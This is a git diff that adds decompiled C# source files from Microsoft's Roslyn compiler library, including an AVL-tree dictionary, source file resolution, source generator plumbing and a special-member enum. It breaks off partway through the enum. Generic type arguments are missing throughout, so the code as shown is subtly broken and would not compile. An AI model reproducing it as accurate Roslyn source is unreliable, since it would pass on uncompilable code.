+ Enumerator enumerator = other.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + Add(current.Key, current.Value); + } + } + + private bool CompareKeys(K k1, K k2) + { + return Comparer.Equals(k1, k2); + } + + private int GetHashCode(K k) + { + return Comparer.GetHashCode(k); + } + + public bool TryGetValue(K key, [MaybeNullWhen(false)] out V value) + { + if (_root != null) + { + return TryGetValue(GetHashCode(key), key, out value); + } + value = default(V); + return false; + } + + public void Add(K key, V value) + { + Insert(GetHashCode(key), key, value, add: true); + } + + public bool ContainsKey(K key) + { + V value; + return TryGetValue(key, out value); + } + + [Conditional("DEBUG")] + internal void AssertBalanced() + { + } + + private bool TryGetValue(int hashCode, K key, [MaybeNullWhen(false)] out V value) + { + AvlNode avlNode = _root; + while (true) + { + if (avlNode.HashCode > hashCode) + { + avlNode = avlNode.Left; + } + else + { + if (avlNode.HashCode >= hashCode) + { + break; + } + avlNode = avlNode.Right; + } + if (avlNode == null) + { + value = default(V); + return false; + } + } + if (CompareKeys(avlNode.Key, key)) + { + value = avlNode.Value; + return true; + } + return GetFromList(avlNode.Next, key, out value); + } + + private bool GetFromList(Node? next, K key, [MaybeNullWhen(false)] out V value) + { + while (next != null) + { + if (CompareKeys(key, next.Key)) + { + value = next.Value; + return true; + } + next = next.Next; + } + value = default(V); + return false; + } + + private void Insert(int hashCode, K key, V value, bool add) + { + AvlNode avlNode = _root; + if (avlNode == null) + { + _root = new AvlNode(hashCode, key, value); + return; + } + AvlNode avlNode2 = null; + AvlNode avlNode3 = avlNode; + AvlNode avlNode4 = null; + while (true) + { + int hashCode2 = avlNode.HashCode; + if (avlNode.Balance != 0) + { + avlNode4 = avlNode2; + avlNode3 = avlNode; + } + if (hashCode2 > hashCode) + { + if (avlNode.Left == null) + { + avlNode = (avlNode.Left = new AvlNode(hashCode, key, value)); + break; + } + avlNode2 = avlNode; + avlNode = avlNode.Left; + continue; + } + if (hashCode2 < hashCode) + { + if (avlNode.Right == null) + { + avlNode = (avlNode.Right = new AvlNode(hashCode, key, value)); + break; + } + avlNode2 = avlNode; + avlNode = avlNode.Right; + continue; + } + HandleInsert(avlNode, avlNode2, key, value, add); + return; + } + AvlNode avlNode5 = avlNode3; + do + { + if (avlNode5.HashCode < hashCode) + { + avlNode5.Balance--; + avlNode5 = avlNode5.Right; + } + else + { + avlNode5.Balance++; + avlNode5 = avlNode5.Left; + } + } + while (avlNode5 != avlNode); + AvlNode avlNode6; + switch (avlNode3.Balance) + { + case -2: + avlNode6 = ((avlNode3.Right.Balance < 0) ? LeftSimple(avlNode3) : LeftComplex(avlNode3)); + break; + case 2: + avlNode6 = ((avlNode3.Left.Balance > 0) ? RightSimple(avlNode3) : RightComplex(avlNode3)); + break; + default: + return; + } + if (avlNode4 == null) + { + _root = avlNode6; + } + else if (avlNode3 == avlNode4.Left) + { + avlNode4.Left = avlNode6; + } + else + { + avlNode4.Right = avlNode6; + } + } + + private static AvlNode LeftSimple(AvlNode unbalanced) + { + AvlNode right = unbalanced.Right; + unbalanced.Right = right.Left; + right.Left = unbalanced; + unbalanced.Balance = 0; + right.Balance = 0; + return right; + } + + private static AvlNode RightSimple(AvlNode unbalanced) + { + AvlNode left = unbalanced.Left; + unbalanced.Left = left.Right; + left.Right = unbalanced; + unbalanced.Balance = 0; + left.Balance = 0; + return left; + } + + private static AvlNode LeftComplex(AvlNode unbalanced) + { + AvlNode right = unbalanced.Right; + AvlNode left = right.Left; + right.Left = left.Right; + left.Right = right; + unbalanced.Right = left.Left; + left.Left = unbalanced; + sbyte balance = left.Balance; + left.Balance = 0; + if (balance < 0) + { + right.Balance = 0; + unbalanced.Balance = 1; + } + else + { + right.Balance = (sbyte)(-balance); + unbalanced.Balance = 0; + } + return left; + } + + private static AvlNode RightComplex(AvlNode unbalanced) + { + AvlNode left = unbalanced.Left; + AvlNode right = left.Right; + left.Right = right.Left; + right.Left = left; + unbalanced.Left = right.Right; + right.Right = unbalanced; + sbyte balance = right.Balance; + right.Balance = 0; + if (balance < 0) + { + left.Balance = 1; + unbalanced.Balance = 0; + } + else + { + left.Balance = 0; + unbalanced.Balance = (sbyte)(-balance); + } + return right; + } + + private void HandleInsert(AvlNode node, AvlNode? parent, K key, V value, bool add) + { + Node node2 = node; + do + { + if (CompareKeys(node2.Key, key)) + { + if (add) + { + throw new InvalidOperationException(); + } + node2.Value = value; + return; + } + node2 = node2.Next; + } + while (node2 != null); + AddNode(node, parent, key, value); + } + + private void AddNode(AvlNode node, AvlNode? parent, K key, V value) + { + if (node is AvlNodeHead avlNodeHead) + { + NodeLinked next = new NodeLinked(key, value, avlNodeHead.next); + avlNodeHead.next = next; + return; + } + AvlNodeHead avlNodeHead2 = new AvlNodeHead(node.HashCode, key, value, node); + avlNodeHead2.Balance = node.Balance; + avlNodeHead2.Left = node.Left; + avlNodeHead2.Right = node.Right; + if (parent == null) + { + _root = avlNodeHead2; + } + else if (node == parent.Left) + { + parent.Left = avlNodeHead2; + } + else + { + parent.Right = avlNodeHead2; + } + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + IEnumerator> IEnumerable>.GetEnumerator() + { + return new EnumerableImpl(GetEnumerator()); + } + + IEnumerator IEnumerable.GetEnumerator() + { + throw new NotImplementedException(); + } + + private int HeightApprox() + { + int num = 0; + for (AvlNode avlNode = _root; avlNode != null; avlNode = avlNode.Left) + { + num++; + } + return num + num / 2; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceCodeKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceCodeKind.cs new file mode 100644 index 0000000..a8c2434 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceCodeKind.cs @@ -0,0 +1,13 @@ +using System; +using System.ComponentModel; + +namespace Microsoft.CodeAnalysis; + +public enum SourceCodeKind +{ + Regular, + Script, + [Obsolete("Use Script instead", false)] + [EditorBrowsable(EditorBrowsableState.Never)] + Interactive +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceCodeKindExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceCodeKindExtensions.cs new file mode 100644 index 0000000..c0729dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceCodeKindExtensions.cs @@ -0,0 +1,22 @@ +namespace Microsoft.CodeAnalysis; + +internal static class SourceCodeKindExtensions +{ + internal static SourceCodeKind MapSpecifiedToEffectiveKind(this SourceCodeKind kind) + { + if (kind != SourceCodeKind.Regular && (uint)(kind - 1) <= 1u) + { + return SourceCodeKind.Script; + } + return SourceCodeKind.Regular; + } + + internal static bool IsValid(this SourceCodeKind value) + { + if (value >= SourceCodeKind.Regular) + { + return value <= SourceCodeKind.Script; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceFileResolver.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceFileResolver.cs new file mode 100644 index 0000000..d2cdc0a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceFileResolver.cs @@ -0,0 +1,134 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public class SourceFileResolver : SourceReferenceResolver, IEquatable +{ + private readonly string? _baseDirectory; + + private readonly ImmutableArray _searchPaths; + + private readonly ImmutableArray> _pathMap; + + public static SourceFileResolver Default { get; } = new SourceFileResolver(ImmutableArray.Empty, null); + + public string? BaseDirectory => _baseDirectory; + + public ImmutableArray SearchPaths => _searchPaths; + + public ImmutableArray> PathMap => _pathMap; + + public SourceFileResolver(IEnumerable searchPaths, string? baseDirectory) + : this(searchPaths.AsImmutableOrNull(), baseDirectory) + { + } + + public SourceFileResolver(ImmutableArray searchPaths, string? baseDirectory) + : this(searchPaths, baseDirectory, ImmutableArray>.Empty) + { + } + + public SourceFileResolver(ImmutableArray searchPaths, string? baseDirectory, ImmutableArray> pathMap) + { + if (searchPaths.IsDefault) + { + throw new ArgumentNullException("searchPaths"); + } + if (baseDirectory != null && PathUtilities.GetPathKind(baseDirectory) != PathKind.Absolute) + { + throw new ArgumentException(CodeAnalysisResources.AbsolutePathExpected, "baseDirectory"); + } + _baseDirectory = baseDirectory; + _searchPaths = searchPaths; + if (!pathMap.IsDefaultOrEmpty) + { + ArrayBuilder> instance = ArrayBuilder>.GetInstance(pathMap.Length); + ImmutableArray>.Enumerator enumerator = pathMap.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (text3, text4) = enumerator.Current; + if (text3 == null || text3.Length == 0) + { + throw new ArgumentException(CodeAnalysisResources.EmptyKeyInPathMap, "pathMap"); + } + if (text4 == null) + { + throw new ArgumentException(CodeAnalysisResources.NullValueInPathMap, "pathMap"); + } + string key = PathUtilities.EnsureTrailingSeparator(text3); + string value = PathUtilities.EnsureTrailingSeparator(text4); + instance.Add(new KeyValuePair(key, value)); + } + _pathMap = instance.ToImmutableAndFree(); + } + else + { + _pathMap = ImmutableArray>.Empty; + } + } + + public override string? NormalizePath(string path, string? baseFilePath) + { + string text = FileUtilities.NormalizeRelativePath(path, baseFilePath, _baseDirectory); + if (text != null && !_pathMap.IsDefaultOrEmpty) + { + return PathUtilities.NormalizePathPrefix(text, _pathMap); + } + return text; + } + + public override string? ResolveReference(string path, string? baseFilePath) + { + string text = FileUtilities.ResolveRelativePath(path, baseFilePath, _baseDirectory, _searchPaths, FileExists); + if (text == null) + { + return null; + } + return FileUtilities.TryNormalizeAbsolutePath(text); + } + + public override Stream OpenRead(string resolvedPath) + { + CompilerPathUtilities.RequireAbsolutePath(resolvedPath, "resolvedPath"); + return FileUtilities.OpenRead(resolvedPath); + } + + protected virtual bool FileExists([NotNullWhen(true)] string? resolvedPath) + { + return File.Exists(resolvedPath); + } + + public override bool Equals(object? obj) + { + if (obj == null || GetType() != obj.GetType()) + { + return false; + } + return Equals((SourceFileResolver)obj); + } + + public bool Equals(SourceFileResolver? other) + { + if (other == null) + { + return false; + } + if (string.Equals(_baseDirectory, other._baseDirectory, StringComparison.Ordinal) && _searchPaths.SequenceEqual(other._searchPaths, StringComparer.Ordinal)) + { + return _pathMap.SequenceEqual(other._pathMap); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine((_baseDirectory != null) ? StringComparer.Ordinal.GetHashCode(_baseDirectory) : 0, Hash.Combine(Hash.CombineValues(_searchPaths, StringComparer.Ordinal), Hash.CombineValues(_pathMap))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceGeneratorAdaptor.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceGeneratorAdaptor.cs new file mode 100644 index 0000000..7c9c6c4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceGeneratorAdaptor.cs @@ -0,0 +1,73 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.Diagnostics; + +namespace Microsoft.CodeAnalysis; + +internal sealed class SourceGeneratorAdaptor : IIncrementalGenerator +{ + internal record GeneratorContextBuilder(Compilation Compilation) + { + public ParseOptions? ParseOptions; + + public ImmutableArray AdditionalTexts; + + public AnalyzerConfigOptionsProvider? ConfigOptions; + + public ISyntaxContextReceiver? Receiver; + + public GeneratorExecutionContext ToExecutionContext(string sourceExtension, CancellationToken cancellationToken) + { + return new GeneratorExecutionContext(Compilation, ParseOptions, AdditionalTexts, ConfigOptions, Receiver, sourceExtension, cancellationToken); + } + } + + private readonly string _sourceExtension; + + internal ISourceGenerator SourceGenerator { get; } + + public SourceGeneratorAdaptor(ISourceGenerator generator, string sourceExtension) + { + SourceGenerator = generator; + _sourceExtension = sourceExtension; + } + + public void Initialize(IncrementalGeneratorInitializationContext context) + { + GeneratorInitializationContext context2 = new GeneratorInitializationContext(CancellationToken.None); + SourceGenerator.Initialize(context2); + if (context2.Callbacks.PostInitCallback != null) + { + context.RegisterPostInitializationOutput(context2.Callbacks.PostInitCallback); + } + IncrementalValueProvider incrementalValueProvider = context.CompilationProvider.Select((Compilation c, CancellationToken _) => new GeneratorContextBuilder(c)).Combine(context.ParseOptionsProvider).Select(((GeneratorContextBuilder Left, ParseOptions Right) p, CancellationToken _) => p.Left with + { + ParseOptions = p.Right + }) + .Combine(context.AnalyzerConfigOptionsProvider) + .Select(((GeneratorContextBuilder Left, AnalyzerConfigOptionsProvider Right) p, CancellationToken _) => p.Left with + { + ConfigOptions = p.Right + }) + .Combine(context.AdditionalTextsProvider.Collect()) + .Select(((GeneratorContextBuilder Left, ImmutableArray Right) p, CancellationToken _) => p.Left with + { + AdditionalTexts = p.Right + }); + SyntaxContextReceiverCreator syntaxContextReceiverCreator = context2.Callbacks.SyntaxContextReceiverCreator; + if (syntaxContextReceiverCreator != null) + { + incrementalValueProvider = incrementalValueProvider.Combine(context.SyntaxProvider.CreateSyntaxReceiverProvider(syntaxContextReceiverCreator)).Select<(GeneratorContextBuilder, ISyntaxContextReceiver), GeneratorContextBuilder>(((GeneratorContextBuilder Left, ISyntaxContextReceiver Right) p, CancellationToken _) => p.Left with + { + Receiver = p.Right + }); + } + context.RegisterSourceOutput(incrementalValueProvider, delegate(SourceProductionContext productionContext, GeneratorContextBuilder contextBuilder) + { + GeneratorExecutionContext context3 = contextBuilder.ToExecutionContext(_sourceExtension, productionContext.CancellationToken); + SourceGenerator.Execute(context3); + context3.CopyToProductionContext(productionContext); + context3.Free(); + }); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceGeneratorSyntaxTreeInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceGeneratorSyntaxTreeInfo.cs new file mode 100644 index 0000000..d700d5d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceGeneratorSyntaxTreeInfo.cs @@ -0,0 +1,13 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +internal enum SourceGeneratorSyntaxTreeInfo +{ + NotComputedYet = 0, + None = 1, + ContainsGlobalAliases = 2, + ContainsAttributeList = 4, + ContainsGlobalAliasesOrAttributeList = 6 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceLocation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceLocation.cs new file mode 100644 index 0000000..32099bb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceLocation.cs @@ -0,0 +1,95 @@ +using System; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class SourceLocation : Location, IEquatable +{ + private readonly SyntaxTree _syntaxTree; + + private readonly TextSpan _span; + + public override LocationKind Kind => LocationKind.SourceFile; + + public override TextSpan SourceSpan => _span; + + public override SyntaxTree SourceTree => _syntaxTree; + + public SourceLocation(SyntaxTree syntaxTree, TextSpan span) + { + _syntaxTree = syntaxTree; + _span = span; + } + + public SourceLocation(SyntaxNode node) + : this(node.SyntaxTree, node.Span) + { + } + + public SourceLocation(in SyntaxToken token) + : this(token.SyntaxTree, token.Span) + { + } + + public SourceLocation(in SyntaxNodeOrToken nodeOrToken) + : this(nodeOrToken.SyntaxTree, nodeOrToken.Span) + { + } + + public SourceLocation(in SyntaxTrivia trivia) + : this(trivia.SyntaxTree, trivia.Span) + { + } + + public SourceLocation(SyntaxReference syntaxRef) + : this(syntaxRef.SyntaxTree, syntaxRef.Span) + { + } + + public override FileLinePositionSpan GetLineSpan() + { + if (_syntaxTree == null) + { + return default(FileLinePositionSpan); + } + return _syntaxTree.GetLineSpan(_span); + } + + public override FileLinePositionSpan GetMappedLineSpan() + { + if (_syntaxTree == null) + { + return default(FileLinePositionSpan); + } + return _syntaxTree.GetMappedLineSpan(_span); + } + + public bool Equals(SourceLocation? other) + { + if ((object)this == other) + { + return true; + } + if (other != null && other._syntaxTree == _syntaxTree) + { + return other._span == _span; + } + return false; + } + + public override bool Equals(object? obj) + { + return Equals(obj as SourceLocation); + } + + public override int GetHashCode() + { + return Hash.Combine(_syntaxTree, _span.GetHashCode()); + } + + protected override string GetDebuggerDisplay() + { + return base.GetDebuggerDisplay() + "\"" + _syntaxTree.ToString().Substring(_span.Start, _span.Length) + "\""; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceOutputNode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceOutputNode.cs new file mode 100644 index 0000000..bc0a111 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceOutputNode.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class SourceOutputNode : IIncrementalGeneratorOutputNode, IIncrementalGeneratorNode<(IEnumerable, IEnumerable)> +{ + private readonly IIncrementalGeneratorNode _source; + + private readonly Action _action; + + private readonly IncrementalGeneratorOutputKind _outputKind; + + private readonly string _sourceExtension; + + public IncrementalGeneratorOutputKind Kind => _outputKind; + + public SourceOutputNode(IIncrementalGeneratorNode source, Action action, IncrementalGeneratorOutputKind outputKind, string sourceExtension) + { + _source = source; + _action = action; + _outputKind = outputKind; + _sourceExtension = sourceExtension; + } + + public NodeStateTable<(IEnumerable, IEnumerable)> UpdateStateTable(DriverStateTable.Builder graphState, NodeStateTable<(IEnumerable, IEnumerable)>? previousTable, CancellationToken cancellationToken) + { + string text = ((Kind == IncrementalGeneratorOutputKind.Source) ? "SourceOutput" : "ImplementationSourceOutput"); + NodeStateTable latestStateTableForNode = graphState.GetLatestStateTableForNode(_source); + if (latestStateTableForNode.IsCached && previousTable != null) + { + this.LogTables(text, previousTable, previousTable, latestStateTableForNode); + if (graphState.DriverState.TrackIncrementalSteps) + { + return previousTable.CreateCachedTableWithUpdatedSteps(latestStateTableForNode, text, EqualityComparer<(IEnumerable, IEnumerable)>.Default); + } + return previousTable; + } + NodeStateTable<(IEnumerable, IEnumerable)>.Builder builder = graphState.CreateTableBuilder<(IEnumerable, IEnumerable)>(previousTable, text, EqualityComparer<(IEnumerable, IEnumerable)>.Default); + NodeStateTable.Enumerator enumerator = latestStateTableForNode.GetEnumerator(); + while (enumerator.MoveNext()) + { + NodeStateEntry current = enumerator.Current; + ImmutableArray<(IncrementalGeneratorRunStep, int)> stepInputs = (builder.TrackIncrementalSteps ? ImmutableArray.Create((current.Step, current.OutputIndex)) : default(ImmutableArray<(IncrementalGeneratorRunStep, int)>)); + if (current.State == EntryState.Removed) + { + builder.TryRemoveEntries(TimeSpan.Zero, stepInputs); + } + else + { + if (current.State == EntryState.Cached && builder.TryUseCachedEntries(TimeSpan.Zero, stepInputs)) + { + continue; + } + AdditionalSourcesCollection additionalSourcesCollection = new AdditionalSourcesCollection(_sourceExtension); + DiagnosticBag instance = DiagnosticBag.GetInstance(); + SourceProductionContext arg = new SourceProductionContext(additionalSourcesCollection, instance, graphState.Compilation, cancellationToken); + try + { + SharedStopwatch sharedStopwatch = SharedStopwatch.StartNew(); + _action(arg, current.Item, cancellationToken); + (ImmutableArray, ImmutableArray) tuple = (additionalSourcesCollection.ToImmutable(), instance.ToReadOnly()); + if (current.State != EntryState.Modified) + { + goto IL_0189; + } + (ImmutableArray, ImmutableArray) tuple2 = tuple; + if (!builder.TryModifyEntry((tuple2.Item1, tuple2.Item2), EqualityComparer<(IEnumerable, IEnumerable)>.Default, sharedStopwatch.Elapsed, stepInputs, current.State)) + { + goto IL_0189; + } + goto end_IL_0110; + IL_0189: + tuple2 = tuple; + builder.AddEntry((tuple2.Item1, tuple2.Item2), EntryState.Added, sharedStopwatch.Elapsed, stepInputs, EntryState.Added); + end_IL_0110:; + } + finally + { + additionalSourcesCollection.Free(); + instance.Free(); + } + } + } + NodeStateTable<(IEnumerable, IEnumerable)> nodeStateTable = builder.ToImmutableAndFree(); + this.LogTables<(IEnumerable, IEnumerable), TInput>(text, previousTable, nodeStateTable, latestStateTableForNode); + return nodeStateTable; + } + + IIncrementalGeneratorNode<(IEnumerable, IEnumerable)> IIncrementalGeneratorNode<(IEnumerable, IEnumerable)>.WithComparer(IEqualityComparer<(IEnumerable, IEnumerable)> comparer) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/SourceGeneration/Nodes/SourceOutputNode.cs", 90); + } + + public IIncrementalGeneratorNode<(IEnumerable, IEnumerable)> WithTrackingName(string name) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/SourceGeneration/Nodes/SourceOutputNode.cs", 92); + } + + void IIncrementalGeneratorNode<(IEnumerable, IEnumerable)>.RegisterOutput(IIncrementalGeneratorOutputNode output) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/SourceGeneration/Nodes/SourceOutputNode.cs", 94); + } + + public void AppendOutputs(IncrementalExecutionContext context, CancellationToken cancellationToken) + { + NodeStateTable<(IEnumerable, IEnumerable)> latestStateTableForNode = context.TableBuilder.GetLatestStateTableForNode(this); + NodeStateTable<(IEnumerable, IEnumerable)>.Enumerator enumerator = latestStateTableForNode.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Deconstruct(out (IEnumerable, IEnumerable) Item, out EntryState State, out int _, out IncrementalGeneratorRunStep _); + var (enumerable, diagnostics) = Item; + if (State == EntryState.Removed) + { + continue; + } + foreach (GeneratedSourceText item in enumerable) + { + try + { + context.Sources.Add(item.HintName, item.Text); + } + catch (ArgumentException innerException) + { + throw new UserFunctionException(innerException); + } + } + context.Diagnostics.AddRange(diagnostics); + } + if (context.GeneratorRunStateBuilder.RecordingExecutedSteps) + { + context.GeneratorRunStateBuilder.RecordStepsFromOutputNodeUpdate(latestStateTableForNode); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceProductionContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceProductionContext.cs new file mode 100644 index 0000000..bfb1cf7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceProductionContext.cs @@ -0,0 +1,41 @@ +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +public readonly struct SourceProductionContext +{ + internal readonly AdditionalSourcesCollection Sources; + + internal readonly DiagnosticBag Diagnostics; + + internal readonly Compilation Compilation; + + public CancellationToken CancellationToken { get; } + + internal SourceProductionContext(AdditionalSourcesCollection sources, DiagnosticBag diagnostics, Compilation compilation, CancellationToken cancellationToken) + { + CancellationToken = cancellationToken; + Sources = sources; + Diagnostics = diagnostics; + Compilation = compilation; + } + + public void AddSource(string hintName, string source) + { + AddSource(hintName, SourceText.From(source, Encoding.UTF8)); + } + + public void AddSource(string hintName, SourceText sourceText) + { + Sources.Add(hintName, sourceText); + } + + public void ReportDiagnostic(Diagnostic diagnostic) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(diagnostic, Compilation, (Diagnostic _, CancellationToken _) => true, CancellationToken); + Diagnostics.Add(diagnostic); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceReferenceResolver.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceReferenceResolver.cs new file mode 100644 index 0000000..6f4e194 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SourceReferenceResolver.cs @@ -0,0 +1,34 @@ +using System; +using System.IO; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +public abstract class SourceReferenceResolver +{ + public abstract override bool Equals(object? other); + + public abstract override int GetHashCode(); + + public abstract string? NormalizePath(string path, string? baseFilePath); + + public abstract string? ResolveReference(string path, string? baseFilePath); + + public abstract Stream OpenRead(string resolvedPath); + + internal Stream OpenReadChecked(string fullPath) + { + Stream stream = OpenRead(fullPath); + if (stream == null || !stream.CanRead) + { + throw new InvalidOperationException(CodeAnalysisResources.ReferenceResolverShouldReturnReadableNonNullStream); + } + return stream; + } + + public virtual SourceText ReadText(string resolvedPath) + { + using Stream stream = OpenRead(resolvedPath); + return EncodedStringText.Create(stream); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpanUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpanUtilities.cs new file mode 100644 index 0000000..a24b378 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpanUtilities.cs @@ -0,0 +1,34 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +internal static class SpanUtilities +{ + public static bool All(this ReadOnlySpan span, TParam param, Func predicate) + { + ReadOnlySpan readOnlySpan = span; + for (int i = 0; i < readOnlySpan.Length; i++) + { + TElement arg = readOnlySpan[i]; + if (!predicate(arg, param)) + { + return false; + } + } + return true; + } + + public static bool All(this ReadOnlySpan span, Func predicate) + { + ReadOnlySpan readOnlySpan = span; + for (int i = 0; i < readOnlySpan.Length; i++) + { + TElement arg = readOnlySpan[i]; + if (!predicate(arg)) + { + return false; + } + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialMember.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialMember.cs new file mode 100644 index 0000000..dea6471 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialMember.cs @@ -0,0 +1,134 @@ +namespace Microsoft.CodeAnalysis; + +internal enum SpecialMember +{ + System_String__CtorSZArrayChar, + System_String__ConcatStringString, + System_String__ConcatStringStringString, + System_String__ConcatStringStringStringString, + System_String__ConcatStringArray, + System_String__ConcatObject, + System_String__ConcatObjectObject, + System_String__ConcatObjectObjectObject, + System_String__ConcatObjectArray, + System_String__op_Equality, + System_String__op_Inequality, + System_String__Length, + System_String__Chars, + System_String__Format, + System_String__Substring, + System_Double__IsNaN, + System_Single__IsNaN, + System_Delegate__Combine, + System_Delegate__Remove, + System_Delegate__op_Equality, + System_Delegate__op_Inequality, + System_Decimal__Zero, + System_Decimal__MinusOne, + System_Decimal__One, + System_Decimal__CtorInt32, + System_Decimal__CtorUInt32, + System_Decimal__CtorInt64, + System_Decimal__CtorUInt64, + System_Decimal__CtorSingle, + System_Decimal__CtorDouble, + System_Decimal__CtorInt32Int32Int32BooleanByte, + System_Decimal__op_Addition, + System_Decimal__op_Subtraction, + System_Decimal__op_Multiply, + System_Decimal__op_Division, + System_Decimal__op_Modulus, + System_Decimal__op_UnaryNegation, + System_Decimal__op_Increment, + System_Decimal__op_Decrement, + System_Decimal__NegateDecimal, + System_Decimal__RemainderDecimalDecimal, + System_Decimal__AddDecimalDecimal, + System_Decimal__SubtractDecimalDecimal, + System_Decimal__MultiplyDecimalDecimal, + System_Decimal__DivideDecimalDecimal, + System_Decimal__ModuloDecimalDecimal, + System_Decimal__CompareDecimalDecimal, + System_Decimal__op_Equality, + System_Decimal__op_Inequality, + System_Decimal__op_GreaterThan, + System_Decimal__op_GreaterThanOrEqual, + System_Decimal__op_LessThan, + System_Decimal__op_LessThanOrEqual, + System_Decimal__op_Implicit_FromByte, + System_Decimal__op_Implicit_FromChar, + System_Decimal__op_Implicit_FromInt16, + System_Decimal__op_Implicit_FromInt32, + System_Decimal__op_Implicit_FromInt64, + System_Decimal__op_Implicit_FromSByte, + System_Decimal__op_Implicit_FromUInt16, + System_Decimal__op_Implicit_FromUInt32, + System_Decimal__op_Implicit_FromUInt64, + System_Decimal__op_Explicit_ToByte, + System_Decimal__op_Explicit_ToUInt16, + System_Decimal__op_Explicit_ToSByte, + System_Decimal__op_Explicit_ToInt16, + System_Decimal__op_Explicit_ToSingle, + System_Decimal__op_Explicit_ToDouble, + System_Decimal__op_Explicit_ToChar, + System_Decimal__op_Explicit_ToUInt64, + System_Decimal__op_Explicit_ToInt32, + System_Decimal__op_Explicit_ToUInt32, + System_Decimal__op_Explicit_ToInt64, + System_Decimal__op_Explicit_FromDouble, + System_Decimal__op_Explicit_FromSingle, + System_DateTime__MinValue, + System_DateTime__CtorInt64, + System_DateTime__CompareDateTimeDateTime, + System_DateTime__op_Equality, + System_DateTime__op_Inequality, + System_DateTime__op_GreaterThan, + System_DateTime__op_GreaterThanOrEqual, + System_DateTime__op_LessThan, + System_DateTime__op_LessThanOrEqual, + System_Collections_IEnumerable__GetEnumerator, + System_Collections_IEnumerator__Current, + System_Collections_IEnumerator__get_Current, + System_Collections_IEnumerator__MoveNext, + System_Collections_IEnumerator__Reset, + System_Collections_Generic_IEnumerable_T__GetEnumerator, + System_Collections_Generic_IEnumerator_T__Current, + System_Collections_Generic_IEnumerator_T__get_Current, + System_IDisposable__Dispose, + System_Array__Length, + System_Array__LongLength, + System_Array__GetLowerBound, + System_Array__GetUpperBound, + System_Object__GetHashCode, + System_Object__Equals, + System_Object__EqualsObjectObject, + System_Object__ToString, + System_Object__ReferenceEquals, + System_IntPtr__op_Explicit_ToPointer, + 